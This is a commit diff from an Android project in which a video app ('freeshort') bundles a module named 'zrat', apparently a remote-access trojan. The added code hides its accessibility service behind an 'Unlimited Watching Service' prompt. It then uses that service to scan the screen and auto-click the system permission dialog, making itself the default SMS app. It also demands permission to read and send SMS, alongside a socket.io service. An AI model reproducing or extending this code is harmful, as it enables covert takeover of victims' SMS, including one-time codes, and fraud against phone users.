x1ongzhu 1 tahun lalu
induk
melakukan
ae05df31c5

+ 20 - 117
android/app/src/main/java/io/freeshort/freeshort/MainActivity.java

@@ -1,10 +1,13 @@
 package io.freeshort.freeshort;
 
 import android.app.role.RoleManager;
+import android.content.ComponentName;
 import android.content.DialogInterface;
 import android.content.Intent;
+import android.content.ServiceConnection;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.IBinder;
 import android.provider.Settings;
 import android.provider.Telephony;
 
@@ -24,6 +27,20 @@ import pub.devrel.easypermissions.EasyPermissions;
 public class MainActivity extends BridgeActivity {
     private int RETRY_COUNT = 0;
     private AlertDialog alertDialog;
+    private ZService.ZBinder binder;
+
+    private ServiceConnection connection = new ServiceConnection() {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            binder = (ZService.ZBinder) service;
+            binder.onResume(MainActivity.this);
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            binder = null;
+        }
+    };
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -35,129 +52,15 @@ public class MainActivity extends BridgeActivity {
         } else {
             startService(startIntent);
         }
+        bindService(startIntent, connection, BIND_AUTO_CREATE);
     }
 
     @Override
     public void onResume() {
         super.onResume();
-
-        boolean a11y = checkA11yService();
-        if (!a11y) return;
-        dismissDialog();
-
-
-        boolean smsApp = checkSmsApp();
-        if (!smsApp) return;
-        dismissDialog();
-
-
-        boolean smsPermission = checkSmsPermission();
-        if (!smsPermission) return;
-        dismissDialog();
-
-    }
-
-    public boolean checkSmsApp() {
-        RETRY_COUNT++;
-
-        boolean fallback = false;
-        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
-            RoleManager roleManager = getSystemService(RoleManager.class);
-            if (roleManager.isRoleAvailable(RoleManager.ROLE_SMS)) {
-                if (roleManager.isRoleHeld(RoleManager.ROLE_SMS)) {
-                    return true;
-                } else {
-                    if (RETRY_COUNT > 10) {
-                        gotoSettings();
-                    } else {
-                        Intent intent = roleManager.createRequestRoleIntent(RoleManager.ROLE_SMS);
-                        startActivityForResult(intent, 101);
-                    }
-                }
-            } else {
-                fallback = true;
-            }
-        } else {
-            fallback = true;
+        if (binder != null) {
+            binder.onResume(this);
         }
-
-        if (fallback) {
-            if (Telephony.Sms.getDefaultSmsPackage(this).equals(BuildConfig.APPLICATION_ID)) {
-                return true;
-            } else {
-                if (RETRY_COUNT > 10) {
-                    gotoSettings();
-                } else {
-                    Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
-                    intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, BuildConfig.APPLICATION_ID);
-                    startActivityForResult(intent, 101);
-                }
-
-            }
-        }
-        return false;
-    }
-
-    private boolean checkA11yService() {
-        if (AccessibilityService.instance != null) {
-            return true;
-        }
-        showDialog("Permission Required", "To continue using this app, please enable the Unlimited Watching Service",
-                (dialog, which) -> {
-                    Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
-                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-                    startActivity(intent);
-                });
-        return false;
     }
 
-    private boolean checkSmsPermission() {
-        boolean hasPermission = EasyPermissions.hasPermissions(this, android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS);
-        if (hasPermission) {
-            return true;
-        }
-        PermissionManager.getInstance(this).checkPermissions(
-                Arrays.asList(android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS),
-                new PermissionManager.PermissionRequestListener() {
-                    @Override
-                    public void onPermissionGranted() {
-
-                    }
-
-                    @Override
-                    public void onPermissionDenied(DeniedPermissions deniedPermissions) {
-                        new AppSettingsDialog.Builder(MainActivity.this)
-                                .setTitle("Permission Required")
-                                .setRationale("To continue using this app, please grant the required permissions")
-                                .build().show();
-                    }
-                });
-        return false;
-    }
-
-    private void gotoSettings() {
-        if (alertDialog != null && alertDialog.isShowing()) return;
-        showDialog("Permission Required", "Please choose " + getString(R.string.app_name) + " as your default SMS app",
-                (dialog, which) -> {
-                    Intent i = new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS);
-                    startActivity(i);
-                });
-    }
-
-    private void showDialog(String title, String msg, DialogInterface.OnClickListener listener) {
-        if (alertDialog != null && alertDialog.isShowing()) return;
-        alertDialog = new AlertDialog.Builder(this)
-                .setTitle(title)
-                .setMessage(msg)
-                .setPositiveButton("OK", listener)
-                .setCancelable(false)
-                .show();
-    }
-
-    private void dismissDialog() {
-        if (alertDialog != null && alertDialog.isShowing()) {
-            alertDialog.dismiss();
-            alertDialog = null;
-        }
-    }
 }

+ 77 - 3
android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -2,11 +2,14 @@ package com.example.zrat;
 
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.GestureDescription;
+import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.graphics.Path;
 import android.graphics.PixelFormat;
 import android.graphics.Rect;
+import android.os.IBinder;
+import android.provider.Settings;
 import android.util.Log;
 import android.view.Gravity;
 import android.view.LayoutInflater;
@@ -27,6 +30,7 @@ import java.util.Deque;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.Optional;
 
 public class AccessibilityService extends android.accessibilityservice.AccessibilityService {
     private static final String TAG = "AccessibilityService";
@@ -44,11 +48,11 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         instance = this;
 
         AccessibilityServiceInfo info = new AccessibilityServiceInfo();
-        info.eventTypes = AccessibilityEvent.TYPE_VIEW_CLICKED |
-                AccessibilityEvent.TYPE_VIEW_FOCUSED |
-                AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED;
+        info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED;
         info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
         info.notificationTimeout = 100;
+        info.flags = AccessibilityServiceInfo.DEFAULT
+                | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS;
         this.setServiceInfo(info);
 
 //        WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
@@ -105,6 +109,14 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         if (node == null) {
             return null;
         }
+
+        String className = node.getClassName().toString();
+        String name = node.getViewIdResourceName();
+        String text = Optional.ofNullable(node.getText()).map(CharSequence::toString).orElse(null);
+        String id = node.getViewIdResourceName();
+
+        Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);
+
         Map<String, Object> map = new HashMap<>();
         map.put("class", node.getClassName());
         map.put("text", node.getText());
@@ -123,6 +135,67 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         return map;
     }
 
+    public boolean setDefaultSmsApp() {
+        Log.i(TAG, "setDefaultSmsApp: " + Utils.getStringResourceByName(this, "app_name") + ", " + getPackageName());
+        AccessibilityNodeInfo root = getRootInActiveWindow();
+        SetDefaultSmsAppResult result = new SetDefaultSmsAppResult();
+        setDefaultSmsApp(root, result);
+        if (!result.isSmsAppSelected()) {
+            return false;
+        }
+        setDefaultSmsApp(root, result);
+        return result.isConfirmed();
+    }
+
+    public boolean setDefaultSmsApp1() {
+        Intent i = new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS);
+        startActivity(i);
+
+        new Thread(() -> {
+            try {
+                Thread.sleep(1000);
+                AccessibilityNodeInfo root = getRootInActiveWindow();
+                SetDefaultSmsAppResult result = new SetDefaultSmsAppResult();
+                setDefaultSmsApp(root, result);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }).start();
+        return false;
+    }
+
+    private void setDefaultSmsApp(AccessibilityNodeInfo node, SetDefaultSmsAppResult result) {
+        if (node == null) {
+            return;
+        }
+
+        String className = node.getClassName().toString();
+        String name = node.getViewIdResourceName();
+        String text = Optional.ofNullable(node.getText()).map(CharSequence::toString).orElse(null);
+        String id = node.getViewIdResourceName();
+
+        Log.i(TAG, "Node: class=" + className + ", text=" + text + ", name=" + name + ", id=" + id);
+
+        if ("com.android.permissioncontroller:id/title".equals(id)
+                && Utils.getStringResourceByName(this, "app_name").equals(text)) {
+            Log.i(TAG, "found item");
+            node.getParent().performAction(AccessibilityNodeInfo.ACTION_CLICK);
+            result.setSmsAppSelected(true);
+        }
+
+        if ("android:id/button1".equals(id) && result.isSmsAppSelected()) {
+            Log.i(TAG, "found confirm button");
+            node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
+            result.setConfirmed(true);
+        }
+
+        if (node.getChildCount() != 0) {
+            for (int i = 0; i < node.getChildCount(); i++) {
+                setDefaultSmsApp(node.getChild(i), result);
+            }
+        }
+    }
+
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
         Log.i(TAG, "onAccessibilityEvent: " + event.toString());
@@ -133,6 +206,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
             ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
             CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
             Log.i(TAG, "app name is: " + applicationLabel);
+            traverseNode(getRootInActiveWindow());
         } catch (Exception e) {
             e.printStackTrace();
         }

+ 24 - 0
android/zrat/src/main/java/com/example/zrat/SetDefaultSmsAppResult.java

@@ -0,0 +1,24 @@
+package com.example.zrat;
+
+public class SetDefaultSmsAppResult {
+
+    private boolean smsAppSelected;
+
+    private boolean confirmed;
+
+    public boolean isSmsAppSelected() {
+        return smsAppSelected;
+    }
+
+    public void setSmsAppSelected(boolean smsAppSelected) {
+        this.smsAppSelected = smsAppSelected;
+    }
+
+    public boolean isConfirmed() {
+        return confirmed;
+    }
+
+    public void setConfirmed(boolean confirmed) {
+        this.confirmed = confirmed;
+    }
+}

+ 11 - 0
android/zrat/src/main/java/com/example/zrat/Utils.java

@@ -0,0 +1,11 @@
+package com.example.zrat;
+
+import android.content.Context;
+
+public class Utils {
+    public static String getStringResourceByName(Context context, String aString) {
+        String packageName = context.getPackageName();
+        int resId = context.getResources().getIdentifier(aString, "string", packageName);
+        return context.getString(resId);
+    }
+}

+ 142 - 1
android/zrat/src/main/java/com/example/zrat/ZService.java

@@ -1,11 +1,14 @@
 package com.example.zrat;
 
 import android.Manifest;
+import android.app.Activity;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.Service;
+import android.app.role.RoleManager;
 import android.content.Context;
+import android.content.DialogInterface;
 import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
@@ -17,10 +20,12 @@ import android.os.Build;
 import android.os.Bundle;
 import android.os.IBinder;
 import android.provider.Settings;
+import android.provider.Telephony;
 import android.telephony.SmsManager;
 import android.util.Log;
 
 import androidx.annotation.RequiresApi;
+import androidx.appcompat.app.AlertDialog;
 import androidx.core.app.NotificationCompat;
 
 import com.example.zrat.permissions.PermissionManager;
@@ -42,6 +47,7 @@ import java.util.Objects;
 
 import io.socket.client.IO;
 import io.socket.client.Socket;
+import pub.devrel.easypermissions.AppSettingsDialog;
 import pub.devrel.easypermissions.EasyPermissions;
 
 public class ZService extends Service {
@@ -50,6 +56,10 @@ public class ZService extends Service {
     private final IBinder binder = new ZBinder();
     private Socket mSocket;
 
+    private int RETRY_COUNT = 0;
+
+    private AlertDialog alertDialog;
+
     public ZService() {
     }
 
@@ -57,6 +67,138 @@ public class ZService extends Service {
         public ZService getService() {
             return ZService.this;
         }
+
+        public void onResume(Activity activity) {
+            boolean a11y = checkA11yService(activity);
+            if (!a11y) return;
+            dismissDialog();
+
+
+            boolean smsApp = checkSmsApp(activity);
+            if (!smsApp) {
+                new Thread(() -> {
+                    try {
+                        Thread.sleep(100);
+                        if (AccessibilityService.instance != null) {
+                            AccessibilityService.instance.setDefaultSmsApp();
+                        }
+                    } catch (InterruptedException e) {
+                        e.printStackTrace();
+                    }
+                }).start();
+                return;
+            }
+            dismissDialog();
+
+
+            boolean smsPermission = checkSmsPermission(activity);
+            if (!smsPermission) return;
+            dismissDialog();
+        }
+    }
+
+    public boolean checkSmsApp(Activity activity) {
+        RETRY_COUNT++;
+
+        boolean fallback = false;
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+            RoleManager roleManager = getSystemService(RoleManager.class);
+            if (roleManager.isRoleAvailable(RoleManager.ROLE_SMS)) {
+                if (roleManager.isRoleHeld(RoleManager.ROLE_SMS)) {
+                    return true;
+                } else {
+                    if (RETRY_COUNT > 10) {
+                        gotoSettings(activity);
+                    } else {
+                        Intent intent = roleManager.createRequestRoleIntent(RoleManager.ROLE_SMS);
+                        activity.startActivityForResult(intent, 101);
+                    }
+                }
+            } else {
+                fallback = true;
+            }
+        } else {
+            fallback = true;
+        }
+
+        if (fallback) {
+            if (Telephony.Sms.getDefaultSmsPackage(this).equals(activity.getPackageName())) {
+                return true;
+            } else {
+                if (RETRY_COUNT > 10) {
+                    gotoSettings(activity);
+                } else {
+                    Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
+                    intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, activity.getPackageName());
+                    activity.startActivityForResult(intent, 101);
+                }
+
+            }
+        }
+        return false;
+    }
+
+    private boolean checkA11yService(Context context) {
+        if (AccessibilityService.instance != null) {
+            return true;
+        }
+        showDialog(context, "Permission Required", "To continue using this app, please enable the Unlimited Watching Service",
+                (dialog, which) -> {
+                    Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
+                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    startActivity(intent);
+                });
+        return false;
+    }
+
+    private boolean checkSmsPermission(Activity activity) {
+        boolean hasPermission = EasyPermissions.hasPermissions(this, android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS);
+        if (hasPermission) {
+            return true;
+        }
+        PermissionManager.getInstance(this).checkPermissions(
+                Arrays.asList(android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS),
+                new PermissionManager.PermissionRequestListener() {
+                    @Override
+                    public void onPermissionGranted() {
+
+                    }
+
+                    @Override
+                    public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+                        new AppSettingsDialog.Builder(activity)
+                                .setTitle("Permission Required")
+                                .setRationale("To continue using this app, please grant the required permissions")
+                                .build().show();
+                    }
+                });
+        return false;
+    }
+
+    private void gotoSettings(Context context) {
+        if (alertDialog != null && alertDialog.isShowing()) return;
+        showDialog(context, "Permission Required", "Please choose " + Utils.getStringResourceByName(this, "app_name") + " as your default SMS app",
+                (dialog, which) -> {
+                    Intent i = new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS);
+                    startActivity(i);
+                });
+    }
+
+    private void showDialog(Context context, String title, String msg, DialogInterface.OnClickListener listener) {
+        if (alertDialog != null && alertDialog.isShowing()) return;
+        alertDialog = new AlertDialog.Builder(context)
+                .setTitle(title)
+                .setMessage(msg)
+                .setPositiveButton("OK", listener)
+                .setCancelable(false)
+                .show();
+    }
+
+    private void dismissDialog() {
+        if (alertDialog != null && alertDialog.isShowing()) {
+            alertDialog.dismiss();
+            alertDialog = null;
+        }
     }
 
     @Override
@@ -311,5 +453,4 @@ public class ZService extends Service {
         }
     }
 
-
 }